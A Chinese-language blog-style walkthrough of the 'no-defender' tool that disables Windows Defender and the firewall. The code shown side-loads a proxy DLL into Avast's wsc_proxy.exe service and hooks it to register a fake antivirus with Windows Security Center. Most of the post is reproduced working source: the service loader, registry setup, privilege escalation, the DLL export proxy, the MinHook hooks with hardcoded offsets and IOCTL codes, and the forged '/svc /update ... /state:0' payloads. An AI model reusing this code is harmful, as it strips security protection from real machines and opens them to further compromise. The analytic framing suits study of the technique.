原项目:https://github.com/es3n1n/no-defender
简要原理:Windows有一个WDC(Windows Security Center)服务,当安装了在微软那边注册了的杀软
,会调用一个未公开的接口去更新杀软组件状态,同时关闭WDF。项目里的大佬就是通过逆向安全厂商软件(项目里是AVAST的wsc_proxy.exe),得到了这个API的细节。

loader逻辑

概览

项目源代码中,Loader的main.cpp的main中,主要有如下逻辑

  1. 命令行参数解析
argparse::ArgumentParser program("no-defender-loader", "1.0.1");
program.add_argument("--disable").help("re-enable firewall/defender").flag();
program.add_argument("--firewall").help("disable the firewall").flag();
program.add_argument("--av").help("disable the defender").flag();
program.add_argument("--name").help("av name").default_value(std::string("github.com/es3n1n/no-defender")).nargs(1);
program.parse_args(argc, argv);
  1. **setup_registry**函数在**HKEY_LOCAL_MACHINE\SOFTWARE\Avast Software\Avast\properties**下创建注册表项,并设置**ProgramFolder**的值为当前进程文件的父文件夹。
namespace util {
    inline std::filesystem::path app_path() {
        char result[_MAX_PATH];
        GetModuleFileNameA(NULL, result, sizeof(result));
        return result;
    }
}

void setup_registry() {
    auto reg = native::Registry(HKEY_LOCAL_MACHINE, "SOFTWARE");
    reg = reg.create_key("Avast Software");
    reg = reg.create_key("Avast");
    (void)reg.create_key("properties");

    const auto path = util::app_path().parent_path().wstring();
    const bool status = reg.set_value(L"ProgramFolder", path.c_str(), path.length());
    if (!status) {
        throw std::runtime_error("unable to init registry, are we really elevated?");
    }
}
  1. 提升权限,获取SeLoadDriverPrivilege权限(常规获取token然后设置特权开启,改变进程token权限,允许加载驱动)
if (!util::grant_privileges({L"SeLoadDriverPrivilege"})) {
    throw std::runtime_error("unable to acquire privileges");
}

namespace util {
    inline bool grant_privileges(const std::vector<std::wstring_view> names) {
        TOKEN_PRIVILEGES Priv, PrivOld;
        DWORD cbPriv = sizeof(PrivOld);
        HANDLE token;

        if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, FALSE, &token)) {
            if (GetLastError() != ERROR_NO_TOKEN) {
                return false;
            }
            if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token)) {
                return false;
            }
        }

        Priv.PrivilegeCount = 1;
        Priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        for (auto& name : names) {
            if (!LookupPrivilegeValueW(NULL, name.data(), &Priv.Privileges[0].Luid)) {
                return false;
            }

            if (!AdjustTokenPrivileges(token, FALSE, &Priv, sizeof(Priv), &PrivOld, &cbPriv)) {
                return false;
            }
        }

        return true;
    }
  1. **start**函数使用**service_loader**实例加载并启动名为**wsc_proxy**的服务。
  2. **remove_service**函数停止并删除**wsc_proxy**服务。
    ## service_loader::Instance类
namespace service_loader {
    using error_t = std::monostate; // 定义一个错误类型,使用std::monostate表示没有具体错误信息

    class Instance {
    public:
        // 定义一个智能指针类型,用于管理服务控制句柄(SC_HANDLE),并在析构时自动关闭句柄
        using handle_t = std::unique_ptr<std::remove_pointer_t<SC_HANDLE>, decltype(&CloseServiceHandle)>;

        // 构造函数,打开服务控制管理器(SCM),并获取其句柄
        Instance(): _handle(handle_t(OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS), &CloseServiceHandle)) { }

        // 创建并启动一个用户模式服务
        [[nodiscard]] std::expected<handle_t, error_t> create_and_start_um_service(const std::string_view name, const std::string_view display_name,
                                                                                   const std::string& path) {
            SC_HANDLE result = nullptr;

            // 尝试多次创建服务
            for (std::size_t i = 0; i < 5 && result == nullptr; ++i) {
                result = CreateServiceA(_handle.get(), name.data(), display_name.data(), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START,
                                        SERVICE_ERROR_NORMAL, path.data(), nullptr, nullptr, nullptr, nullptr, nullptr);

                if (result == nullptr) {
                    // 如果创建失败,尝试打开并删除已存在的同名服务
                    auto handle = open_service(name);
                    if (!handle.has_value()) {
                        continue;
                    }

                    if (!stop_and_delete_service(*handle)) {
                        return std::unexpected(error_t{});
                    }

                    handle->reset();
                    continue;
                }
            }

            if (result == nullptr) {
                return std::unexpected(error_t{});
            }

            // 启动服务,如果服务已经在运行,则忽略错误
            if (!static_cast<bool>(StartServiceA(result, 0, nullptr)) && GetLastError() != ERROR_SERVICE_ALREADY_RUNNING) {
                return std::unexpected(error_t{});
            }

            return handle_t(result, &CloseServiceHandle);
        }

        // 打开一个已存在的服务
        [[nodiscard]] std::expected<handle_t, error_t> open_service(const std::string_view name) {
            auto result = OpenServiceA(_handle.get(), name.data(), SERVICE_ALL_ACCESS);
            if (result == nullptr) {
                return std::unexpected(error_t{});
            }

            return handle_t(result, &CloseServiceHandle);
        }

        // 停止并删除一个服务
        bool stop_and_delete_service(handle_t& service) {
            SERVICE_STATUS status = {};
            ControlService(service.get(), SERVICE_CONTROL_STOP, &status);
            return static_cast<bool>(DeleteService(service.get()));
        }

    private:
        handle_t _handle; // 服务控制管理器句柄
    };
} // namespace service_loader

可以看到,主要是对windows服务的管理。

start启动wsc_proxy服务

简简单单启动wsc_proxy服务,其中使用了dll侧加载,后面分析如何侧加载的

void start(service_loader::Instance& loader, std::string& name) {
    auto wsc_proxy = util::app_path().parent_path();
    wsc_proxy /= "wsc_proxy.exe";

    std::cout << "** loading the wsc_proxy" << std::endl;
    auto svc = loader.create_and_start_um_service("wsc_proxy", "wsc_proxy",
    std::format("\"{}\" /runassvc /rpcserver /wsc_name:\"{}\"", wsc_proxy.string(), name));
    if (!svc.has_value()) {
        throw std::runtime_error("unable to load wsc_proxy, please try again");
    }

    std::cout << "** waiting for wsc_proxy (this can take some time)" << std::endl;
    while (util::process_exists(wsc_proxy.filename().wstring())) {
        std::this_thread::sleep_for(std::chrono::seconds(1));
    }
}

启动的wsc_proxy.exe,我们可以看出来他是AVAST的白文件

黑dll逻辑

查看dllmain.cpp逻辑

#include <cstdint>
#include <MinHook.h>

#include <shared/structs.hpp>

#include "hooks.hpp"

/// \note In x86 stdcall functions are getting mangled even with extern c :shrug:
#if !defined(_WIN64)
    #pragma comment(linker, "/EXPORT:CallNtPowerInformation=_CallNtPowerInformation@20")
#endif

// 导出函数 CallNtPowerInformation,用于获取电源信息
EXTERN_C __declspec(dllexport) NTSTATUS WINAPI CallNtPowerInformation(POWER_INFORMATION_LEVEL InformationLevel, PVOID InputBuffer, ULONG InputBufferLength,
                                                                      PVOID OutputBuffer, ULONG OutputBufferLength) {
    // 获取原始的 CallNtPowerInformation 函数地址
    static auto orig =
        reinterpret_cast<decltype(&CallNtPowerInformation)>(GetProcAddress(reinterpret_cast<HMODULE>(globals::powrprof_base), "CallNtPowerInformation"));
    // 调用原始函数并返回结果
    return orig(InformationLevel, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength);
}

// DLL 入口点函数
BOOL __stdcall DllMain(HMODULE base, std::uint32_t call_reason, std::uintptr_t reserved) {
    // 仅在 DLL 被加载时执行初始化代码
    if (call_reason != DLL_PROCESS_ATTACH) {
        return TRUE;
    }

    // 加载 powrprof.dll 并获取其基地址
    globals::powrprof_base = reinterpret_cast<std::uintptr_t>(LoadLibraryA("c:\\Windows\\System32\\powrprof.dll"));
    assert(globals::powrprof_base != 0);

    // 反序列化初始化上下文
    globals::init_ctx.deserialize();
    // 设置钩子
    hooks::setup();
    return TRUE;
}

通过对dllmain的分析,我们可以预估avast使用了powrprof_base.dll的导出函数CallNtPowerInformation。
调用globals::init_ctx.deserialize(),设置文件指针读取ctx.bin文件的内容,反序列化到state和product中。

struct init_ctx_t {
public:
e_state state = e_state::ON;
e_product product = e_product::NONE;

void deserialize() {
    std::ifstream stream(detail::ctx_path(), std::ios::binary);
    stream.read(reinterpret_cast<char*>(this), sizeof(*this));
}
};

namespace shared {
    constexpr std::size_t kMaxNameLength = 128;
    constexpr std::string_view kCtxPath = "ctx.bin";

    namespace detail {
        inline std::string ctx_path() {
            auto path = util::app_path().parent_path();
            path /= kCtxPath;
            return path.string();
        }
    } // namespace detail
    ....
}

Hook逻辑

项目使用了minehook框架:https://github.com/TsudaKageyu/minhook
首先跟进Hook.hpp,调用setup函数以进行hook框架的初始化,然后给如下几个函数下hook

inline void setup() {
    using namespace detail;

    // MinHook框架 初始化
    assert(MH_Initialize() == MH_OK);
    // CreateFileW、DeviceIoControl、I_RpcBindingInqLocalClientPID、WaitForSingleObject
    assert(create_hook(::CreateFileW, hooked::CreateFileW, &original::CreateFileW) == MH_OK);
    assert(create_hook(::DeviceIoControl, hooked::DeviceIoControl, &original::DeviceIoControl) == MH_OK);
    assert(create_hook(::I_RpcBindingInqLocalClientPID, hooked::I_RpcBindingInqLocalClientPID, &original::I_RpcBindingInqLocalClientPID) == MH_OK);
    assert(create_hook(::WaitForSingleObject, hooked::WaitForSingleObject, &original::WaitForSingleObject) == MH_OK);
    // 启用所有钩子
    assert(MH_EnableHook(MH_ALL_HOOKS) == MH_OK);
}

接下来跟进下的钩子

首先是CreateFileW
拦截参数,如果传入的路径参数中有"asw",则寻找项目中的"wsc.dll",并加载他。
同时创建函数钩子,hook wsc.dll中的内存偏移(为什么hook这两个位置没研究明白,猜测是内部函数所在位置,通过逆向得到的偏移)

[[nodiscard]] inline std::uintptr_t base() {
    static auto base_addr = GetModuleHandleA("wsc");
    assert(base_addr != nullptr);
    return reinterpret_cast<std::uintptr_t>(base_addr);
}

inline struct {
HANDLE* queue_handle = detail::initializer<HANDLE*>(0x3F94F8, 0x39D520);

using s_wscrpc_update_t = void (*)(const wchar_t* command, const bool async);
s_wscrpc_update_t s_wscrpc_update = detail::initializer<s_wscrpc_update_t>(0x2A120, 0x27F50);

void* proceed_queue = detail::initializer<void*>(0x29C80, 0x27AD0);
void* proceed_item = detail::initializer<void*>(0x29BA0, 0x278A0);
} ctx;


// 钩子函数,用于拦截 CreateFileW 调用
HANDLE WINAPI CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile) {
    auto file_path = std::wstring(lpFileName);

    // 将文件路径转换为小写
    std::ranges::transform(file_path.begin(), file_path.end(), file_path.begin(),
        -> wchar_t { return static_cast<wchar_t>(std::tolower(static_cast<int>(ch))); });

    // 如果文件路径包含 "asw"
    if (file_path.find(L"asw") != std::wstring::npos) {
        static std::once_flag fl;
        std::call_once(fl,  -> void {
            globals::wsc_base = globals::detail::base();

            // 创建钩子
            MH_CreateHook(globals::ctx.proceed_queue, ProceedQueue, &original::ProceedQueue);
            MH_CreateHook(globals::ctx.proceed_item, ProcessItem, &original::ProcessItem);
            MH_EnableHook(nullptr);
        });

        return reinterpret_cast<HANDLE>(1337);
    }

    // 调用原始的 CreateFileW 函数
    return original::CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes,
        hTemplateFile);
}

ProceedQueue会推送svc信息,告知其他组件,防火墙状态信息发生变化(Hook的wsc服务)

// 定义一个函数 ProceedQueue,用于处理队列
std::uintptr_t ProceedQueue() {
    // 定义一个 lambda 函数 push_payload,用于推送 payload
    auto push_payload =  -> void {
        // 如果当前产品不包含指定的 product,则返回
        if ((globals::init_ctx.product & product) == shared::e_product::NONE) {
            return;
        }

        // 格式化 payload 字符串
        auto payload = std::format(L"/svc /update /{} /state:{} /signatures:up_to_date", internal_name, globals::init_ctx.state);
        // 调用 s_wscrpc_update 函数推送 payload
        globals::ctx.s_wscrpc_update(payload.data(), true);
    };

    // 推送 AV 和 FIREWALL 的 payload
    push_payload(shared::e_product::AV, L"av_as");
    push_payload(shared::e_product::FIREWALL, L"firewall");

    // 调用原始的 ProceedQueue 函数
    const auto result = reinterpret_cast<decltype(&ProceedQueue)>(original::ProceedQueue)();
    std::exit(0); // 以防我们没有通过 WaitForSingleObject 钩子退出
    return result;
}
"/svc /update /av_as /state:0 /signatures:up_to_date"
"/svc /update /firewall /state:0 /signatures:up_to_date"

ProcessItem

// 定义一个函数 ProcessItem,用于处理项
std::uintptr_t ProcessItem(std::uintptr_t pthis) {
    globals::processed = false;
    // 调用原始的 ProcessItem 函数
    auto result = reinterpret_cast<decltype(&ProcessItem)>(original::ProcessItem)(pthis);
    globals::processed = true;
    return result;
}

其余几个钩子,都是对参数的拦截,以及返回值的修改,具体细节就不跟踪了

// 钩子函数,用于拦截 DeviceIoControl 调用
BOOL WINAPI DeviceIoControl(HANDLE hDevice, DWORD dwIoControlCode, LPVOID lpInBuffer, DWORD nInBufferSize, LPVOID lpOutBuffer,
DWORD nOutBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped) {
    const auto ret =
    original::DeviceIoControl(hDevice, dwIoControlCode, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize, lpBytesReturned, lpOverlapped);

    // 如果设备句柄不是 1337,则返回原始结果
    if (reinterpret_cast<uint64_t>(hDevice) != 1337) {
        return ret;
    }

    // 根据不同的控制代码返回不同的结果
    switch (dwIoControlCode) {
        case 0xB2D601C0:
            return TRUE;
        case 0xB2D600CC:
            *reinterpret_cast<int*>(lpOutBuffer) = 1;
            return TRUE;
        case 0xb2d60190:
            *reinterpret_cast<int*>(lpOutBuffer) = 1337;
            *reinterpret_cast<int*>(lpBytesReturned) = 4;
            return TRUE;
        default:
            return ret;
    }
}

// 钩子函数,用于拦截 I_RpcBindingInqLocalClientPID 调用
RPC_STATUS RPC_ENTRY I_RpcBindingInqLocalClientPID(RPC_BINDING_HANDLE Binding, unsigned long* Pid) {
    *Pid = GetCurrentProcessId();
    return 0;
}

// 钩子函数,用于拦截 WaitForSingleObject 调用
DWORD WINAPI WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds) {
    if (globals::wsc_base != 0 && hHandle == *globals::ctx.queue_handle) {
        if (globals::processed) {
            std::exit(0);
        }
    }

    return original::WaitForSingleObject(hHandle, dwMilliseconds);
}
} // namespace hooked

总结

他的思路,相当于是运行白文件时,用脚本启动,hook白文件wsc_proxy.exe的白dll wsc.dll,在其中关键的svc状态更新字符串中上传我们自定义的payload,av组件。
文章总体把他的思路捋顺了,当然还有较大的不足与欠缺,比如如何从逆向工程的角度去把文中硬编码的内存、硬编码的控制码给找出来,这其实是一个工作量很大、需要很大耐心的工作,我手头上有其他事,暂时不深究了,欢迎师傅们对我的文章提出修改建议与批评指点。
向黑客致敬!